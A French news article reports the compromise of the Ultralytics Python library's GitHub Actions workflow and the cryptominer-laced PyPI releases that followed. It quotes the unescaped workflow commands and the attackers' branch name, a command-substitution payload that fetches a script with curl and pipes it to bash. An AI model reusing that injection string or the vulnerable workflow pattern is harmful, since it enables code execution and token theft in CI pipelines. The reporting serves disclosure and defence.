Des attaquants ont pu exécuter du code avec les privilèges du gestionnaire GitHub Actions dans le dépôt de la bibliothèque Python Ultralytics, utilisée pour des tâches de vision par ordinateur, telles que la détection d'objets sur des images et le segment des images. Après avoir accédé au dépôt, les attaquants ont publié plusieurs nouvelles versions d'Ultralytics dans le répertoire PyPI, comprenant des modifications malveillantes pour le minage de cryptomonnaies. Au cours du dernier mois, la bibliothèque Ultralytics a été téléchargée plus de 6,4 millions de fois depuis le répertoire PyPI.
Pour compromettre le dépôt, une vulnérabilité dans le paquet ultralytics-actions a été exploitée, utilisée pour exécuter automatiquement des gestionnaires lors d'actions spécifiques dans le dépôt sur GitHub, en utilisant le mécanisme GitHub Actions. Dans le projet ultralytics, le gestionnaire vulnérable était attaché à l'événement pull_request_target et était appelé lors de la réception de nouveaux pull requests. En particulier, pour formater le code dans les pull requests reçus, le gestionnaire format.yml était appelé et le code, indiqué dans la section « run » du fichier action.yml, était exécuté, où des commandes shell avec des modèles de substitution étaient présentes : git pull origin ${{ github.head_ref || github.ref }} git config —global user.name «${{ inputs.github_username }}» git config —global user.email «${{ inputs.github_email }}»
Ainsi, dans les commandes shell, sans le bon échappement, le nom de la branche Git mentionnée dans la pull request était inséré. Il est à noter qu'en août, un problème similaire avait déjà été corrigé dans le paquet ultralytics-actions, lié à l'utilisation d'une valeur externe dans la fonction echo : echo «github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}»
Pour exécuter leur code dans le contexte du gestionnaire GitHub Actions, les attaquants ont envoyé une pull request au dépôt ultralytics, spécifiant comme nom de la branche : openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
Ainsi, lorsque la pull request a été reçue, la chaîne fournie par les attaquants «$(…)» a été insérée dans le code, ce qui, lors de l'exécution ultérieure du gestionnaire, a entraîné l'exécution du code «curl -sSfL raw.githubusercontent.com/.../file.sh | bash».

L'exécution de code dans le contexte de GitHub Actions peut être utilisée pour capturer le token d'accès au dépôt et d'autres données sensibles. Il n'est pas encore clair comment les attaquants ont réussi à créer une version, ayant obtenu la possibilité d'exécuter leur code dans GitHub Actions. On suppose que cela a été rendu possible grâce à la modification du gestionnaire publish.yml (les attaquants ont supprimé la vérification du compte autorisé à publier des versions sur PyPI) et à l'utilisation de la technique de polluage du cache de compilation de GitHub Actions pour injecter leurs données dans la version.
La première version malveillante Ultralytics 8.3.41 a été publiée par des cybercriminels dans le répertoire PyPI le 4 décembre à 23h51 (MSK) et a été supprimée à 12h15 le lendemain. À 15h47, une autre version 8.3.42 a été publiée, qui a été supprimée à 16h47. Ainsi, les versions malveillantes ont été disponibles au téléchargement pendant environ 13 heures (en moyenne, PyPI enregistre environ 250 000 téléchargements de la bibliothèque ultralytics par jour). Les versions 8.3.41 et 8.3.42 contenaient du code pour télécharger un composant externe de serveurs XMRig pour le minage de cryptomonnaies.
Les développeurs du projet ont corrigé le problème et ont réalisé les versions correctrices 8.3.43 et 8.3.44, mais deux jours plus tard, une nouvelle attaque a eu lieu, au cours de laquelle les attaquants ont publié deux versions malveillantes supplémentaires aujourd'hui à 04h41 et 05h27 (MSK) — 8.3.45 et 8.3.46, contenant un autre code pour le minage. Jusqu'à ce que l'enquête soit terminée, il est recommandé aux utilisateurs d'attendre avant d'installer de nouvelles versions et de figer la version 8.3.44 dans les dépendances.
Source : opennet.ru
